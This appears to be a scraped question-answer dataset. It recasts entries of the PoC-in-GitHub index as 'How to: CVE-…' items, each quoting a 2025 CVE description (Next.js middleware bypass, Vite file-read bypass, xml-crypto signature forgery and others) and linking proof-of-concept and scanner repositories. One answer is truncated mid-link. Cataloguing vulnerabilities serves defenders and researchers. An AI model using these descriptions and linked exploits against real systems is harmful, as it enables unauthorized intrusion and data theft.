{"id": "gh_418ad1c2979c", "question": "How to: CVE-2025-29279", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [0xBl4nk/CVE-2025-29279](https://github.com/0xBl4nk/CVE-2025-29279)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155285"}
{"id": "gh_0eb8a89fd1a5", "question": "How to: CVE-2025-29306 (2025-03-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n```\n- [somatrasss/CVE-2025-29306](https://github.com/somatrasss/CVE-2025-29306)\n- [verylazytech/CVE-2025-29306](https://github.com/verylazytech/CVE-2025-29306)\n- [inok009/FOXCMS-CVE-2025-29306-POC](https://github.com/inok009/FOXCMS-CVE-2025-29306-POC)\n- [Mattb709/CVE-2025-29306-PoC-FoxCMS-RCE](https://github.com/Mattb709/CVE-2025-29306-PoC-FoxCMS-RCE)\n- [congdong007/CVE-2025-29306_poc](https://github.com/congdong007/CVE-2025-29306_poc)\n- [amalpvatayam67/day06-foxcms-rce](https://github.com/amalpvatayam67/day06-foxcms-rce)\n- [Ashwesker/Ashwesker-CVE-2025-29306](https://github.com/Ashwesker/Ashwesker-CVE-2025-29306)\n- [mantanhacker/Mass-CVE-2025-29306](https://github.com/mantanhacker/Mass-CVE-2025-29306)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155290"}
{"id": "gh_6df397e756b0", "question": "How to: CVE-2025-29384 (2025-03-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Tenda AC9 v1.0 V15.03.05.14_multi, the wanMTU parameter of /goform/AdvSetMacMtuWan has a stack overflow vulnerability, which can lead to remote arbitrary code execution.\n```\n- [Otsmane-Ahmed/cve-2025-29384-poc](https://github.com/Otsmane-Ahmed/cve-2025-29384-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155296"}
{"id": "gh_842720e8172d", "question": "How to: CVE-2025-29448 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBooking logic flaw in Easy!Appointments v1.5.1 allows unauthenticated attackers to create appointments with excessively long durations, causing a denial of service by blocking all future booking availability.\n```\n- [Abdullah4eb/CVE-2025-29448](https://github.com/Abdullah4eb/CVE-2025-29448)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155300"}
{"id": "gh_db31b46a522e", "question": "How to: CVE-2025-29471 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross Site Scripting vulnerability in Nagios Log Server v.2024R1.3.1 allows a remote attacker to execute arbitrary code via a payload into the Email field.\n```\n- [skraft9/CVE-2025-29471](https://github.com/skraft9/CVE-2025-29471)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155305"}
{"id": "gh_5ba6f115762b", "question": "How to: CVE-2025-29529 (2025-04-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nITC Systems Multiplan/Matrix OneCard platform v3.7.4.1002 was discovered to contain a SQL injection vulnerability via the component Forgotpassword.aspx.\n```\n- [Yoshik0xF6/CVE-2025-29529](https://github.com/Yoshik0xF6/CVE-2025-29529)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155309"}
{"id": "gh_568445fef323", "question": "How to: CVE-2025-29556 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExaGrid EX10 6.3 - 7.0.1.P08 is vulnerable to Incorrect Access Control. Since version 6.3, ExaGrid enforces restrictions preventing users with the Admin role from creating or modifying users with the Security Officer role without approval. However, a flaw in the account creation process allows an attacker to bypass these restrictions via API request manipulation. An attacker with an Admin access can intercept and modify the API request during user creation, altering the parameters to assign the new account to the ExaGrid Security Officers group without the required approval.\n```\n- [0xsu3ks/CVE-2025-29556](https://github.com/0xsu3ks/CVE-2025-29556)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155314"}
{"id": "gh_3ba404860a59", "question": "How to: CVE-2025-29557 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExaGrid EX10 6.3 - 7.0.1.P08 is vulnerable to Incorrect Access Control in the MailConfiguration API endpoint, where users with operator-level privileges can issue an HTTP request to retrieve SMTP credentials, including plaintext passwords.\n```\n- [0xsu3ks/CVE-2025-29557](https://github.com/0xsu3ks/CVE-2025-29557)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155318"}
{"id": "gh_6a9090a47f70", "question": "How to: CVE-2025-29602 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nflatpress 1.3.1 is vulnerable to Cross Site Scripting (XSS) in Administration area via Manage categories.\n```\n- [harish0x/CVE-2025-29602](https://github.com/harish0x/CVE-2025-29602)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155322"}
{"id": "gh_23cb88efcc9e", "question": "How to: CVE-2025-29628 (2025-07-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in Gardyn 4 allows a remote attacker to obtain sensitive information and execute arbitrary code via a request\n```\n- [mselbrede/gardyn](https://github.com/mselbrede/gardyn)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155327"}
{"id": "gh_fd5b264d932f", "question": "How to: CVE-2025-29632 (2025-05-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBuffer Overflow vulnerability in Free5gc v.4.0.0 allows a remote attacker to cause a denial of service via the AMF, NGAP, security.go, handler_generated.go, handleInitialUEMessageMain, DecodePlainNasNoIntegrityCheck, GetSecurityHeaderType components\n```\n- [OHnogood/CVE-2025-29632](https://github.com/OHnogood/CVE-2025-29632)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155334"}
{"id": "gh_f67baef53f03", "question": "How to: CVE-2025-29705 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ncode-gen <=2.0.6 is vulnerable to Incorrect Access Control. The project does not have permission control allowing anyone to access such projects.\n```\n- [yxzrw/CVE-2025-29705](https://github.com/yxzrw/CVE-2025-29705)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155339"}
{"id": "gh_a83ac331b3b3", "question": "How to: CVE-2025-29722 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA CSRF vulnerability in Commercify v1.0 allows remote attackers to perform unauthorized actions on behalf of authenticated users. The issue exists due to missing CSRF protection on sensitive endpoints.\n```\n- [cypherdavy/CVE-2025-29722](https://github.com/cypherdavy/CVE-2025-29722)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155343"}
{"id": "gh_7833948de407", "question": "How to: CVE-2025-29774 (2025-03-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nxml-crypto is an XML digital signature and encryption library for Node.js. An attacker may be able to exploit a vulnerability in versions prior to 6.0.1, 3.2.1, and 2.1.6 to bypass authentication or authorization mechanisms in systems that rely on xml-crypto for verifying signed XML documents. The vulnerability allows an attacker to modify a valid signed XML message in a way that still passes signature verification checks. For example, it could be used to alter critical identity or access control attributes, enabling an attacker with a valid account to escalate privileges or impersonate another user. Users of versions 6.0.0 and prior should upgrade to version 6.0.1 to receive a fix. Those who are still using v2.x or v3.x should upgrade to patched versions 2.1.6 or 3.2.1, respectively.\n```\n- [demining/Digital-Signature-Forgery-Attack](https://github.com/demining/Digital-Signature-Forgery-Attack)\n- [demining/Phantom-Signature-Attack](https://github.com/demining/Phantom-Signature-Attack)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155348"}
{"id": "gh_f834953c8be2", "question": "How to: CVE-2025-29775 (2025-03-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nxml-crypto is an XML digital signature and encryption library for Node.js. An attacker may be able to exploit a vulnerability in versions prior to 6.0.1, 3.2.1, and 2.1.6 to bypass authentication or authorization mechanisms in systems that rely on xml-crypto for verifying signed XML documents. The vulnerability allows an attacker to modify a valid signed XML message in a way that still passes signature verification checks. For example, it could be used to alter critical identity or access control attributes, enabling an attacker to escalate privileges or impersonate another user. Users of versions 6.0.0 and prior should upgrade to version 6.0.1 to receive a fix. Those who are still using v2.x or v3.x should upgrade to patched versions 2.1.6 or 3.2.1, respectively.\n```\n- [ethicalPap/CVE-2025-29775](https://github.com/ethicalPap/CVE-2025-29775)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155355"}
{"id": "gh_5e613ca8834c", "question": "How to: CVE-2025-29810 (2025-04-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper access control in Active Directory Domain Services allows an authorized attacker to elevate privileges over a network.\n```\n- [aleongx/CVE-2025-29810-check](https://github.com/aleongx/CVE-2025-29810-check)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155359"}
{"id": "gh_712089aafd78", "question": "How to: CVE-2025-29824 (2025-04-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.\n```\n- [encrypter15/CVE-2025-29824](https://github.com/encrypter15/CVE-2025-29824)\n- [AfanPan/CVE-2025-29824-Exploit](https://github.com/AfanPan/CVE-2025-29824-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155363"}
{"id": "gh_bbb86fe67004", "question": "How to: CVE-2025-29927 (2025-03-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNext.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.\n```\n- [serhalp/test-cve-2025-29927](https://github.com/serhalp/test-cve-2025-29927)\n- [Ademking/CVE-2025-29927](https://github.com/Ademking/CVE-2025-29927)\n- [6mile/nextjs-CVE-2025-29927](https://github.com/6mile/nextjs-CVE-2025-29927)\n- [azu/nextjs-cve-2025-29927-poc](https://github.com/azu/nextjs-cve-2025-29927-poc)\n- [lirantal/vulnerable-nextjs-14-CVE-2025-29927](https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927)\n- [aydinnyunus/CVE-2025-29927](https://github.com/aydinnyunus/CVE-2025-29927)\n- [ticofookfook/poc-nextjs-CVE-2025-29927](https://github.com/ticofookfook/poc-nextjs-CVE-2025-29927)\n- [t3tra-dev/cve-2025-29927-demo](https://github.com/t3tra-dev/cve-2025-29927-demo)\n- [websecnl/CVE-2025-29927-PoC-Exploit](https://github.com/websecnl/CVE-2025-29927-PoC-Exploit)\n- [MuhammadWaseem29/CVE-2025-29927-POC](https://github.com/MuhammadWaseem29/CVE-2025-29927-POC)\n- [strobes-security/nextjs-vulnerable-app](https://github.com/strobes-security/nextjs-vulnerable-app)\n- [RoyCampos/CVE-2025-29927](https://github.com/RoyCampos/CVE-2025-29927)\n- [fourcube/nextjs-middleware-bypass-demo](https://github.com/fourcube/nextjs-middleware-bypass-demo)\n- [iSee857/CVE-2025-29927](https://github.com/iSee857/CVE-2025-29927)\n- [Eve-SatOrU/POC-CVE-2025-29927](https://github.com/Eve-SatOrU/POC-CVE-2025-29927)\n- [arvion-agent/next-CVE-2025-29927](https://github.com/arvion-agent/next-CVE-2025-29927)\n- [Oyst3r1ng/CVE-2025-29927](https://github.com/Oyst3r1ng/CVE-2025-29927)\n- [lem0n817/CVE-2025-29927](https://github.com/lem0n817/CVE-2025-29927)\n- [kuzushiki/CVE-2025-29927-test](https://github.com/kuzushiki/CVE-2025-29927-test)\n- [ricsirigu/CVE-2025-29927](https://github.com/ricsirigu/CVE-2025-29927)\n- [0xWhoknows/CVE-2025-29927](https://github.com/0xWhoknows/CVE-2025-29927)\n- [elshaheedy/CVE-2025-29927-Sigma-Rule](https://github.com/elshaheedy/CVE-2025-29927-Sigma-Rule)\n- [furmak331/CVE-2025-29927](https://github.com/furmak331/CVE-2025-29927)\n- [phoscoder/ghost-route](https://github.com/phoscoder/ghost-route)\n- [0xPb1/Next.js-CVE-2025-29927](https://github.com/0xPb1/Next.js-CVE-2025-29927)\n- [jeymo092/cve-2025-29927](https://github.com/jeymo092/cve-2025-29927)\n- [alihussainzada/CVE-2025-29927-PoC](https://github.com/alihussainzada/CVE-2025-29927-PoC)\n- [TheresAFewConors/CVE-2025-29927-Testing](https://github.com/TheresAFewConors/CVE-2025-29927-Testing)\n- [0xPThree/next.js_cve-2025-29927](https://github.com/0xPThree/next.js_cve-2025-29927)\n- [0xcucumbersalad/cve-2025-29927](https://github.com/0xcucumbersalad/cve-2025-29927)\n- [c0dejump/CVE-2025-29927-check](https://github.com/c0dejump/CVE-2025-29927-check)\n- [maronnjapan/claude-create-CVE-2025-29927](https://github.com/maronnjapan/claude-create-CVE-2025-29927)\n- [kOaDT/poc-cve-2025-29927](https://github.com/kOaDT/poc-cve-2025-29927)\n- [yugo-eliatrope/test-cve-2025-29927](https://github.com/yugo-eliatrope/test-cve-2025-29927)\n- [emadshanab/CVE-2025-29927](https://github.com/emadshanab/CVE-2025-29927)\n- [w3shinew/CVE-2025-29927](https://github.com/w3shinew/CVE-2025-29927)\n- [aleongx/CVE-2025-29927](https://github.com/aleongx/CVE-2025-29927)\n- [nicknisi/next-attack](https://github.com/nicknisi/next-attack)\n- [jmbowes/NextSecureScan](https://github.com/jmbowes/NextSecureScan)\n- [aleongx/CVE-2025-29927_Scanner](https://github.com/aleongx/CVE-2025-29927_Scanner)\n- [Nekicj/CVE-2025-29927-exploit](https://github.com/Nekicj/CVE-2025-29927-exploit)\n- [Heimd411/CVE-2025-29927-PoC](https://github.com/Heimd411/CVE-2025-29927-PoC)\n- [m2hcz/PoC-for-Next.js-Middleware](https://github.com/m2hcz/PoC-for-Next.js-Middleware)\n- [KaztoRay/CVE-2025-29927-Research](https://github.com/KaztoRay/CVE-2025-29927-Research)\n- [nocomp/CVE-2025-29927-scanner](https://github.com/nocomp/CVE-2025-29927-scanner)\n- [yuzu-juice/CVE-2025-29927_demo](https://github.com/yuzu-juice/CVE-2025-29927_demo)\n- [luq0x/0xMiddleware](https://github.com/luq0x/0xMiddleware)\n- [AnonKryptiQuz/NextSploit](https://github.com/AnonKryptiQuz/NextSploit)\n- [w2hcorp/CVE-2025-29927-PoC](https://github.com/w2hcorp/CVE-2025-29927-PoC)\n- [ferpalma21/Automated-Next.js-Security-Scanner-for-CVE-2025-29927](https://github.com/ferpalma21/Automated-Next.js-Security-Scanner-for-CVE-2025-29927)\n- [dante01yoon/CVE-2025-29927](https://github.com/dante01yoon/CVE-2025-29927)\n- [ayato-shitomi/WebLab_CVE-2025-29927](https://github.com/ayato-shitomi/WebLab_CVE-2025-29927)\n- [Kamal-418/Vulnerable-Lab-NextJS-CVE-", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155384"}
{"id": "gh_10504f4f3ef4", "question": "How to: CVE-2025-29972 (2025-05-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nServer-Side Request Forgery (SSRF) in Azure allows an authorized attacker to perform spoofing over a network.\n```\n- [ThemeHackers/CVE-2025-29972](https://github.com/ThemeHackers/CVE-2025-29972)\n- [TH-SecForge/CVE-2025-29972](https://github.com/TH-SecForge/CVE-2025-29972)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155392"}
{"id": "gh_8bcb407afc7d", "question": "How to: CVE-2025-30065 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSchema parsing in the parquet-avro module of Apache Parquet 1.15.0 and previous versions allows bad actors to execute arbitrary code\\n\\n\\nUsers are recommended to upgrade to version 1.15.1, which fixes the issue.\n```\n- [h3st4k3r/CVE-2025-30065](https://github.com/h3st4k3r/CVE-2025-30065)\n- [bjornhels/CVE-2025-30065](https://github.com/bjornhels/CVE-2025-30065)\n- [ron-imperva/CVE-2025-30065-PoC](https://github.com/ron-imperva/CVE-2025-30065-PoC)\n- [mouadk/parquet-rce-poc-CVE-2025-30065](https://github.com/mouadk/parquet-rce-poc-CVE-2025-30065)\n- [ThreatRadarAI/TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation](https://github.com/ThreatRadarAI/TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation)\n- [F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065](https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065)\n- [Ashwesker/Ashwesker-CVE-2025-30065](https://github.com/Ashwesker/Ashwesker-CVE-2025-30065)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155399"}
{"id": "gh_66748a8d891d", "question": "How to: CVE-2025-30066 (2025-03-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ntj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)\n```\n- [OS-pedrogustavobilro/test-changed-files](https://github.com/OS-pedrogustavobilro/test-changed-files)\n- [Checkmarx/Checkmarx-CVE-2025-30066-Detection-Tool](https://github.com/Checkmarx/Checkmarx-CVE-2025-30066-Detection-Tool)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155404"}
{"id": "gh_4bf9896af78a", "question": "How to: CVE-2025-30144 (2025-03-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nfast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.\n```\n- [tibrn/CVE-2025-30144](https://github.com/tibrn/CVE-2025-30144)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155409"}
{"id": "gh_15baf2060296", "question": "How to: CVE-2025-30208 (2025-03-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\n```\n- [xuemian168/CVE-2025-30208](https://github.com/xuemian168/CVE-2025-30208)\n- [ThumpBo/CVE-2025-30208-EXP](https://github.com/ThumpBo/CVE-2025-30208-EXP)\n- [kk12-30/CVE-2025-30208](https://github.com/kk12-30/CVE-2025-30208)\n- [MiclelsonCN/CVE-2025-30208_POC](https://github.com/MiclelsonCN/CVE-2025-30208_POC)\n- [marino-admin/Vite-CVE-2025-30208-Scanner](https://github.com/marino-admin/Vite-CVE-2025-30208-Scanner)\n- [Lusensec/CVE-2025-30208](https://github.com/Lusensec/CVE-2025-30208)\n- [iSee857/CVE-2025-30208-PoC](https://github.com/iSee857/CVE-2025-30208-PoC)\n- [On1onss/CVE-2025-30208](https://github.com/On1onss/CVE-2025-30208)\n- [4xura/CVE-2025-30208](https://github.com/4xura/CVE-2025-30208)\n- [sadhfdw129/CVE-2025-30208-Vite](https://github.com/sadhfdw129/CVE-2025-30208-Vite)\n- [keklick1337/CVE-2025-30208-ViteVulnScanner](https://github.com/keklick1337/CVE-2025-30208-ViteVulnScanner)\n- [jackieya/ViteVulScan](https://github.com/jackieya/ViteVulScan)\n- [0xshaheen/CVE-2025-30208](https://github.com/0xshaheen/CVE-2025-30208)\n- [sumeet-darekar/CVE-2025-30208](https://github.com/sumeet-darekar/CVE-2025-30208)\n- [4m3rr0r/CVE-2025-30208-PoC](https://github.com/4m3rr0r/CVE-2025-30208-PoC)\n- [lilil3333/Vite-CVE-2025-30208-EXP](https://github.com/lilil3333/Vite-CVE-2025-30208-EXP)\n- [imbas007/CVE-2025-30208-template](https://github.com/imbas007/CVE-2025-30208-template)\n- [r0ngy40/CVE-2025-30208-Series](https://github.com/r0ngy40/CVE-2025-30208-Series)\n- [nkuty/CVE-2025-30208-31125-31486-32395](https://github.com/nkuty/CVE-2025-30208-31125-31486-32395)\n- [HaGsec/CVE-2025-30208](https://github.com/HaGsec/CVE-2025-30208)\n- [Ashwesker/Ashwesker-CVE-2025-30208](https://github.com/Ashwesker/Ashwesker-CVE-2025-30208)\n- [ThemeHackers/CVE-2025-30208](https://github.com/ThemeHackers/CVE-2025-30208)\n- [TH-SecForge/CVE-2025-30208](https://github.com/TH-SecForge/CVE-2025-30208)\n- [bugdotexe/CVE-2025-30208](https://github.com/bugdotexe/CVE-2025-30208)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155416"}
{"id": "gh_74b18e2195b2", "question": "How to: CVE-2025-30216 (2025-03-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. In versions 1.3.3 and prior, a Heap Overflow vulnerability occurs in the `Crypto_TM_ProcessSecurity` function (`crypto_tm.c:1735:8`). When processing the Secondary Header Length of a TM protocol packet, if the Secondary Header Length exceeds the packet's total length, a heap overflow is triggered during the memcpy operation that copies packet data into the dynamically allocated buffer `p_new_dec_frame`. This allows an attacker to overwrite adjacent heap memory, potentially leading to arbitrary code execution or system instability. A patch is available at commit 810fd66d592c883125272fef123c3240db2f170f.\n```\n- [oliviaisntcringe/CVE-2025-30216-PoC](https://github.com/oliviaisntcringe/CVE-2025-30216-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155422"}
{"id": "gh_a494f40c4c08", "question": "How to: CVE-2025-30349 (2025-03-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nHorde IMP through 6.2.27, as used with Horde Application Framework through 5.2.23, allows XSS that leads to account takeover via a crafted text/html e-mail message with an onerror attribute (that may use base64-encoded JavaScript code), as exploited in the wild in March 2025.\n```\n- [natasaka/CVE-2025-30349](https://github.com/natasaka/CVE-2025-30349)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155426"}
{"id": "gh_5a31aeee413c", "question": "How to: CVE-2025-30397 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAccess of resource using incompatible type ('type confusion') in Microsoft Scripting Engine allows an unauthorized attacker to execute code over a network.\n```\n- [mbanyamer/CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-](https://github.com/mbanyamer/CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-)\n- [Ashwesker/Ashwesker-CVE-2025-30397](https://github.com/Ashwesker/Ashwesker-CVE-2025-30397)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155430"}
{"id": "gh_7c9a55f90303", "question": "How to: CVE-2025-30400 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in Windows DWM allows an authorized attacker to elevate privileges locally.\n```\n- [encrypter15/CVE-2025-30400](https://github.com/encrypter15/CVE-2025-30400)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155434"}
